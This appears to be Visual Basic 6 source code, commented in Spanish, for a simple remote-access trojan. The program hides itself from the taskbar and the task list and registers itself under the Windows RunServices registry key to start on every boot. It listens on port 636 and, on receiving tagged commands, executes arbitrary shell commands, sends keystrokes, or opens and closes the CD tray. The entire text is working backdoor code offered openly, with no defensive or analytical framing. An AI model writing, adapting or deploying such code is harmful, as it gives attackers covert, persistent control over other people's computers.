'Declaraciones API
Private Declare Function mciSendString Lib "winmm.dll" Alias _
"mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Private Declare Function GetCurrentProcessId Lib "Kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "Kernel32" (ByVal _
dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1
'Por si no lo sabes, este evento se produce cuando se carga el formulario
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False 'Ocultar en la barra de tareas.
Me.Visible = False 'Hace invisible el Formulario
Dim H As Long, Ruta As String
Dim Reg As Object 'Declaramos la variable Reg como un objeto
'registramos nuestro servicio y nos escondemos de ctrl+alt+supr:
H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE)
Set Reg = CreateObject("wscript.shell") 'Creamos un objeto, para modi-
'ficar el registro
Ruta = "HKLM\software\microsoft\windows\currentversion\runservices\"
'Nos ingresamos en el registro para ejecutarnos cada vez que reinicien:
Reg.RegWrite Ruta & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Winsock1.localport = "636" 'establecemos el puerto del troyano
Winsock1.Listen 'Nos ponemos a escuchar, a la espera de una conexión
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Si el winsock está abierto lo cerramos.
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Aceptamos la conexión
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
'Si ocurre un error, cerramos y volvemos a escuchar.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
'Si se cierra la conexión, volvemos a escuchar.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next 'Si ocurre un error que lea la siguiente línea
Dim data1 As String 'Declaramos la variable que recibirá los datos
Winsock1.GetData data1 'Tomamos los datos que nos envían
DoEvents 'Le devolvemos el "control" a Windows
Select Case Mid(data1, 1, 10)'Nos fijámos que acción nos están mandando
Case "#EJECUTAR#"
'Ejecuta el comando que se envíe
Shell Mid(data1, 10, Len(data1) - 1), Right(data1, 1)
Case "#SENDKEYS#"
SendKeys Mid(data1, 10, Len(data1)) 'Envía las teclas al teclado
Case "##OPENCD##"
'Habre la lectora de CDs
mciSendString "set Cdaudio door open", returnstring, 127, 0
Case "#CLOSECD##"
'Cierra la lectora de CDs
mciSendString "set Cdaudio door closed", returnstring, 127, 0
End Select
End Sub